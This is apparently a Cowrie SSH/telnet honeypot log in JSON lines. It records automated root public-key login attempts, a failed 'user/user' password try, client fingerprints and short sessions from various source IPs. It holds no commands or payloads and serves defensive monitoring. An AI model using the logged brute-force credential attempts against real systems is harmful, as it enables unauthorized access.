{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:d4:cb:37:42:0e:57:24:12:28:1a:d7:8b:2c:0b:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCohLYYXf8R7OVE4A7mBzq6So39i3YS0KUnzDnhSsNOOHyn96vGtsSxSKhtgikR1sVh6A5+FVFJGAIS83cEJh3STMCu4DKJZFSTg4V1Qg2a+ZWLNBtVgqyTy6BUAzviJznrMlY5ghio8vH7FLW92uNvAWIAtN4hUpOXEhPj6HOhiYnFoAeOCwiLxK32HiuBuPKHAzUUCYx1nTLVrpNwhNhW3agcU1amq3a/Outq9jh/ZmWMXfpdTKyA0QQHfeZ/IO0BbftSqWAPTR0FrWizf0XjzJUoB6G27Tfuo3aec/Ow5pdY/3Ka3xrssTwyL6o/ZohJSAbfgF3Bne5WIMxxQWAt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:d4:cb:37:42:0e:57:24:12:28:1a:d7:8b:2c:0b:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:45.274833Z","src_ip":"68.235.57.43","session":"6f60e73b069b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:d4:cb:37:42:0e:57:24:12:28:1a:d7:8b:2c:0b:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCohLYYXf8R7OVE4A7mBzq6So39i3YS0KUnzDnhSsNOOHyn96vGtsSxSKhtgikR1sVh6A5+FVFJGAIS83cEJh3STMCu4DKJZFSTg4V1Qg2a+ZWLNBtVgqyTy6BUAzviJznrMlY5ghio8vH7FLW92uNvAWIAtN4hUpOXEhPj6HOhiYnFoAeOCwiLxK32HiuBuPKHAzUUCYx1nTLVrpNwhNhW3agcU1amq3a/Outq9jh/ZmWMXfpdTKyA0QQHfeZ/IO0BbftSqWAPTR0FrWizf0XjzJUoB6G27Tfuo3aec/Ow5pdY/3Ka3xrssTwyL6o/ZohJSAbfgF3Bne5WIMxxQWAt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:45.278520Z","src_ip":"68.235.57.43","session":"6f60e73b069b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:83:2d:b6:8e:a6:7f:f3:30:0f:06:d0:18:79:b4:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFHiEIn3Al6Wi6SALq4wu4aXHy9yvy65MjhMoYbwO4vOV13KMaFb0c5rkKvo+brXAN7IsS25pfFJiihqJTmoEJMvtsZkevCYE9CNF/zkSx45SSonJgslns/rWrM5pSvbhKFfCO35dTNusTZgwSQ6DSWulgBQZ3mR+fZzbOKRwAvQwVGbQpMPYdSOr/zY8O48FHJfLamcxczL5JjlaztEWhI4ghEiAJ0ALJYN1Ni6RxvtLc+ff3SsEofHTSFHxYZALezmEjNyPWajlEYdP4qqggMBo9gVuGxPAHwNap5njacI/G+Dm5drG2rymozgihJ3fsHyAr7QJTWa7AgYMf0jD2atbFVhVDn2AqUE/vR8kSNtlWLbOOD/Iwy4mdT94O1tHcHOYrNPZVBN/cD4p9o9knxVzSxstt5CB5b9mcW1l76pcTri4se/Fs+RrNGUHr69dDYpxKjnvoN2LvuvleXIo0rJs1qAB3+/v2frgCU9DMMlxn3BflglamqN1ZQTTvILc1IVEHxFRNT/Qdx7Qid9R0IneCtwEVjSLtioD0cW7tj3LEK9cewRcmGKc4OZ9XquonZVOxqYqbeWYDCpdpsmW9I+3hApXZ3bXNUaPNdgoBscm2miOCJypwq6L3IfyOApf4kLqxntzRnWquMgJqBCThHeYHvXj7+NZFzzBJUBjhZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:83:2d:b6:8e:a6:7f:f3:30:0f:06:d0:18:79:b4:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:45.314059Z","src_ip":"68.235.57.43","session":"6f60e73b069b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:83:2d:b6:8e:a6:7f:f3:30:0f:06:d0:18:79:b4:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFHiEIn3Al6Wi6SALq4wu4aXHy9yvy65MjhMoYbwO4vOV13KMaFb0c5rkKvo+brXAN7IsS25pfFJiihqJTmoEJMvtsZkevCYE9CNF/zkSx45SSonJgslns/rWrM5pSvbhKFfCO35dTNusTZgwSQ6DSWulgBQZ3mR+fZzbOKRwAvQwVGbQpMPYdSOr/zY8O48FHJfLamcxczL5JjlaztEWhI4ghEiAJ0ALJYN1Ni6RxvtLc+ff3SsEofHTSFHxYZALezmEjNyPWajlEYdP4qqggMBo9gVuGxPAHwNap5njacI/G+Dm5drG2rymozgihJ3fsHyAr7QJTWa7AgYMf0jD2atbFVhVDn2AqUE/vR8kSNtlWLbOOD/Iwy4mdT94O1tHcHOYrNPZVBN/cD4p9o9knxVzSxstt5CB5b9mcW1l76pcTri4se/Fs+RrNGUHr69dDYpxKjnvoN2LvuvleXIo0rJs1qAB3+/v2frgCU9DMMlxn3BflglamqN1ZQTTvILc1IVEHxFRNT/Qdx7Qid9R0IneCtwEVjSLtioD0cW7tj3LEK9cewRcmGKc4OZ9XquonZVOxqYqbeWYDCpdpsmW9I+3hApXZ3bXNUaPNdgoBscm2miOCJypwq6L3IfyOApf4kLqxntzRnWquMgJqBCThHeYHvXj7+NZFzzBJUBjhZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:45.318095Z","src_ip":"68.235.57.43","session":"6f60e73b069b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:aa:8a:0b:d6:f5:32:f3:3b:85:b6:29:0b:e5:86:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+FwzZBFOmoN6jjGMtnaBb48RR3A4cBdgKpFiwRc3N3n5WU9TP9DbTYeLVIGD15UTpuaRSIxXqgS01eEVONzBsQNarHxM112L3vq9w4BALGBKOEJ/mjRC5CmgQokaUyzxq6fKBk624un7SSwi3/dwGXPIZ4eKJp8p5C3aibFzFi2PjaAdNpGKV/NSJQEVACpeE6OtRzbM+64dJW+VPgzz2TDxg0mMhT/5wDiX9rjBffn4pI4A4zoGLlypVHehyVOnOmZaQDodX2R449YwZp3GIFg+LcWlYi/9gFpvx49yNf4MmCjcnxebD0GLrIttXc2XapoGRLvSVMNlX7dbnR6Q/1gh5gvKz253JV+Fdib1WLrukNxM6M9VScncOa7yeEAKe+6WC9Bx9+Y2S/CntCX2f7t4Q0Fr6jxpGi00ElVDZLx/C19O6VpBj0inXgp7WxS19/SAdecpfB+G4hWFFZN7fLUi8AdFmsBv40AAfSQigEFA7KzRA52yJ6UqkFkln4e3ib+ljrIbMI6SueB1ROC+OpXQntGv3thm8N+pxznwOhaJJOOFKUbFlYxiIHvef/AS4pqXdmGRp2jVFDJG/BZqIFupAyBsUeOAFNk7UIGhmEJOxh1B5iGWZcUrNxNyWKyEM9EkUHywMwCgJZON8oKpsFAfiEdPkGEBXP4Qb48//rw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:aa:8a:0b:d6:f5:32:f3:3b:85:b6:29:0b:e5:86:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:45.352821Z","src_ip":"68.235.57.43","session":"6f60e73b069b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:aa:8a:0b:d6:f5:32:f3:3b:85:b6:29:0b:e5:86:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+FwzZBFOmoN6jjGMtnaBb48RR3A4cBdgKpFiwRc3N3n5WU9TP9DbTYeLVIGD15UTpuaRSIxXqgS01eEVONzBsQNarHxM112L3vq9w4BALGBKOEJ/mjRC5CmgQokaUyzxq6fKBk624un7SSwi3/dwGXPIZ4eKJp8p5C3aibFzFi2PjaAdNpGKV/NSJQEVACpeE6OtRzbM+64dJW+VPgzz2TDxg0mMhT/5wDiX9rjBffn4pI4A4zoGLlypVHehyVOnOmZaQDodX2R449YwZp3GIFg+LcWlYi/9gFpvx49yNf4MmCjcnxebD0GLrIttXc2XapoGRLvSVMNlX7dbnR6Q/1gh5gvKz253JV+Fdib1WLrukNxM6M9VScncOa7yeEAKe+6WC9Bx9+Y2S/CntCX2f7t4Q0Fr6jxpGi00ElVDZLx/C19O6VpBj0inXgp7WxS19/SAdecpfB+G4hWFFZN7fLUi8AdFmsBv40AAfSQigEFA7KzRA52yJ6UqkFkln4e3ib+ljrIbMI6SueB1ROC+OpXQntGv3thm8N+pxznwOhaJJOOFKUbFlYxiIHvef/AS4pqXdmGRp2jVFDJG/BZqIFupAyBsUeOAFNk7UIGhmEJOxh1B5iGWZcUrNxNyWKyEM9EkUHywMwCgJZON8oKpsFAfiEdPkGEBXP4Qb48//rw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:45.356835Z","src_ip":"68.235.57.43","session":"6f60e73b069b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:c3:84:03:dc:52:f7:74:4d:8c:e1:60:bb:93:99:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcnHs0cunPX4YjjcYqqqYJVNIKJRvPtvo+XlCXYJ6XQLt7wTF5Wy9OwSUEhloB4kk2VwRrSWFfCnlhKmi4PsmzGazqByrgdbpjweUd8puCHqDpovhCZ0Smaa+V8EKyzmu4MtKZtqNIHDLB85GdCHQzzD2K8hihsNfTMDK4hyva6mw7WbdzYM1BGlnqELJHjg7lb3kQidCLh40Lc6Uy5NLEyL9KpjfcwuupDSs2b6N0dG26djF4wzkH+ia1hmdYa2cLhtm0SNn0oYPd0nMurWbTSbhBaW5SV4vommQGRm/B3cZte3pFnd1OVdO+hPRHzcXdB0lIMRc5i1kpaN5gE50tSyrGVL0EBJhFPu0C684nqEfIsUNOZ+QSHRWrtp0Z9t27VCBlqW7S7PuVLsiMNHDo6IBhumlRDfbCpIsC84TXNOEUXxR4xOv8DvLBrjurL6DjKv4s3oq5MY6RNOkcBBjqa2RepLSK8Drcmy7EVGVW3fPVCvfU+AjEMbzRYwL8TitrpA3HjXG+xRDIuRtIAQmd8628arPecRcTRFx7xMERKMqUgtK3+uIWllGD+W+WUvKNbl7AlAX5iRk0mfsv9UJPH3uMwODrpiJVP4gHFFeQUt8Q6jkByNNH4zMI/CDDZWAn6trURl0sdsRAHA3QrSfgpuAZ+8E8JM1eY9DLeNnn5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:c3:84:03:dc:52:f7:74:4d:8c:e1:60:bb:93:99:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:45.393596Z","src_ip":"68.235.57.43","session":"6f60e73b069b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:c3:84:03:dc:52:f7:74:4d:8c:e1:60:bb:93:99:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcnHs0cunPX4YjjcYqqqYJVNIKJRvPtvo+XlCXYJ6XQLt7wTF5Wy9OwSUEhloB4kk2VwRrSWFfCnlhKmi4PsmzGazqByrgdbpjweUd8puCHqDpovhCZ0Smaa+V8EKyzmu4MtKZtqNIHDLB85GdCHQzzD2K8hihsNfTMDK4hyva6mw7WbdzYM1BGlnqELJHjg7lb3kQidCLh40Lc6Uy5NLEyL9KpjfcwuupDSs2b6N0dG26djF4wzkH+ia1hmdYa2cLhtm0SNn0oYPd0nMurWbTSbhBaW5SV4vommQGRm/B3cZte3pFnd1OVdO+hPRHzcXdB0lIMRc5i1kpaN5gE50tSyrGVL0EBJhFPu0C684nqEfIsUNOZ+QSHRWrtp0Z9t27VCBlqW7S7PuVLsiMNHDo6IBhumlRDfbCpIsC84TXNOEUXxR4xOv8DvLBrjurL6DjKv4s3oq5MY6RNOkcBBjqa2RepLSK8Drcmy7EVGVW3fPVCvfU+AjEMbzRYwL8TitrpA3HjXG+xRDIuRtIAQmd8628arPecRcTRFx7xMERKMqUgtK3+uIWllGD+W+WUvKNbl7AlAX5iRk0mfsv9UJPH3uMwODrpiJVP4gHFFeQUt8Q6jkByNNH4zMI/CDDZWAn6trURl0sdsRAHA3QrSfgpuAZ+8E8JM1eY9DLeNnn5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:45.397191Z","src_ip":"68.235.57.43","session":"6f60e73b069b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:5a:f4:e0:f2:8e:96:f2:9d:f3:60:07:11:28:b3:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCCYSKu/+BwIShFhysPtEitolV5YEEAsN6gbJLgmBZS1Dsd9DlXmTYL81Jy5UDJyTcWQMq83XSkRe6muMmqXovJNCpc4czOSlyKDTw2QQ7gr1AVFBvYfZVf6zOYNqHV4Af1RlQyU5r3OO9e0M0nOMD1qjSGtz6qi0QQMP3BxK2ptxwrcuvCiPzjieSlmb60Q0eexU4pB8JMBCA2+tmu9WscI+bxClWyjeIZNbe23YQ/DwK61v12wW2d/+lU1sPxBEbbTanR9noX25uIz8BHbY+Pg9r3LWRVXpUWpj3A70Bc0X+blT+GYxVmXWvcPDBxbNFVWGtyqIbCKu3Zi+91eqvF6mdxtL7qGNx7ifWA2k+VrWe1u2uqOGPP25WM9HMcGUcgvsw3w9qOUegwpR3J0fqlK/LgpAWT94/t1JTt6xt7HTIlIHyKtRmParLjg3pBmRG77nwxbEPi/PwTo8RFe2I2b+Gvn/gafgLuou69MHReRJaQRmUhNbEiqW23pu1VcCqxvMypSO6528YkBvBLT7vF0+LV1Nz+yQlikIDwA0janLXGHonloeHereVqxk2OTJhMYuBw7/Z3Vq1hbOmmi0bdPrb830vdPvlnJ5uAheNr5W8eTEh5eRWIc1wAFyo5ZO7o/3U+NiX20o3Y2PhDDH+Ig1Ht4ZYJDOwGiib49psF4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:5a:f4:e0:f2:8e:96:f2:9d:f3:60:07:11:28:b3:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:45.430694Z","src_ip":"68.235.57.43","session":"6f60e73b069b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:5a:f4:e0:f2:8e:96:f2:9d:f3:60:07:11:28:b3:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCCYSKu/+BwIShFhysPtEitolV5YEEAsN6gbJLgmBZS1Dsd9DlXmTYL81Jy5UDJyTcWQMq83XSkRe6muMmqXovJNCpc4czOSlyKDTw2QQ7gr1AVFBvYfZVf6zOYNqHV4Af1RlQyU5r3OO9e0M0nOMD1qjSGtz6qi0QQMP3BxK2ptxwrcuvCiPzjieSlmb60Q0eexU4pB8JMBCA2+tmu9WscI+bxClWyjeIZNbe23YQ/DwK61v12wW2d/+lU1sPxBEbbTanR9noX25uIz8BHbY+Pg9r3LWRVXpUWpj3A70Bc0X+blT+GYxVmXWvcPDBxbNFVWGtyqIbCKu3Zi+91eqvF6mdxtL7qGNx7ifWA2k+VrWe1u2uqOGPP25WM9HMcGUcgvsw3w9qOUegwpR3J0fqlK/LgpAWT94/t1JTt6xt7HTIlIHyKtRmParLjg3pBmRG77nwxbEPi/PwTo8RFe2I2b+Gvn/gafgLuou69MHReRJaQRmUhNbEiqW23pu1VcCqxvMypSO6528YkBvBLT7vF0+LV1Nz+yQlikIDwA0janLXGHonloeHereVqxk2OTJhMYuBw7/Z3Vq1hbOmmi0bdPrb830vdPvlnJ5uAheNr5W8eTEh5eRWIc1wAFyo5ZO7o/3U+NiX20o3Y2PhDDH+Ig1Ht4ZYJDOwGiib49psF4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:45.434408Z","src_ip":"68.235.57.43","session":"6f60e73b069b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:45.468392Z","src_ip":"68.235.57.43","session":"6f60e73b069b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.93.159","src_port":55814,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d2d247793be","protocol":"telnet","message":"New connection: 172.104.93.159:55814 (10.17.0.5:23) [session: 3d2d247793be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:50.935371Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.146.177.160","src_port":46593,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6c9dc45f6be","protocol":"telnet","message":"New connection: 185.146.177.160:46593 (10.17.0.5:23) [session: a6c9dc45f6be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:53.560071Z"}
{"eventid":"cowrie.session.closed","duration":10.168687343597412,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:48:01.103937Z","src_ip":"172.104.93.159","session":"3d2d247793be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.14.153.251","src_port":34357,"dst_ip":"159.203.135.109","dst_port":23,"session":"58ca391060f8","protocol":"telnet","message":"New connection: 190.14.153.251:34357 (159.203.135.109:23) [session: 58ca391060f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:48:04.993229Z"}
{"eventid":"cowrie.session.closed","duration":12.24057674407959,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:48:05.800549Z","src_ip":"185.146.177.160","session":"a6c9dc45f6be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.317635536193848,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:48:18.310746Z","src_ip":"190.14.153.251","session":"58ca391060f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"183.159.16.229","src_port":52105,"dst_ip":"159.203.135.109","dst_port":23,"session":"4efc4658c4bb","protocol":"telnet","message":"New connection: 183.159.16.229:52105 (159.203.135.109:23) [session: 4efc4658c4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:48:33.457377Z"}
{"eventid":"cowrie.session.closed","duration":12.315621376037598,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:48:45.772884Z","src_ip":"183.159.16.229","session":"4efc4658c4bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.135.193.206","src_port":44162,"dst_ip":"10.17.0.5","dst_port":22,"session":"33caa6e20407","protocol":"ssh","message":"New connection: 45.135.193.206:44162 (10.17.0.5:22) [session: 33caa6e20407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:26.221937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:26.226430Z","src_ip":"45.135.193.206","session":"33caa6e20407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:26.315605Z","src_ip":"45.135.193.206","session":"33caa6e20407","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:16:98:35:f2:92:d4:33:93:b5:54:b7:6c:bd:ee:2e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPeHy+3n+KjOdXOK7AEzb0vxs1f6cg89PSNE3/Nt+Br1","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 9b:16:98:35:f2:92:d4:33:93:b5:54:b7:6c:bd:ee:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:26.582012Z","src_ip":"45.135.193.206","session":"33caa6e20407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:16:98:35:f2:92:d4:33:93:b5:54:b7:6c:bd:ee:2e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPeHy+3n+KjOdXOK7AEzb0vxs1f6cg89PSNE3/Nt+Br1","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:26.585757Z","src_ip":"45.135.193.206","session":"33caa6e20407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:26.676366Z","src_ip":"45.135.193.206","session":"33caa6e20407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":19228,"dst_ip":"10.17.0.5","dst_port":22,"session":"4722c7a59130","protocol":"ssh","message":"New connection: 130.12.181.85:19228 (10.17.0.5:22) [session: 4722c7a59130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:28.715649Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:28.721052Z","src_ip":"130.12.181.85","session":"4722c7a59130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":19230,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b04ee81bb37","protocol":"ssh","message":"New connection: 130.12.181.85:19230 (10.17.0.5:22) [session: 4b04ee81bb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:28.850713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:28.858538Z","src_ip":"130.12.181.85","session":"4b04ee81bb37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:28.961362Z","src_ip":"130.12.181.85","session":"4b04ee81bb37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:29.170184Z","src_ip":"130.12.181.85","session":"4b04ee81bb37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:30.278537Z","src_ip":"130.12.181.85","session":"4b04ee81bb37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55786,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3de490527e5","protocol":"ssh","message":"New connection: 193.32.162.145:55786 (159.203.135.109:22) [session: d3de490527e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:49:35.356738Z"}
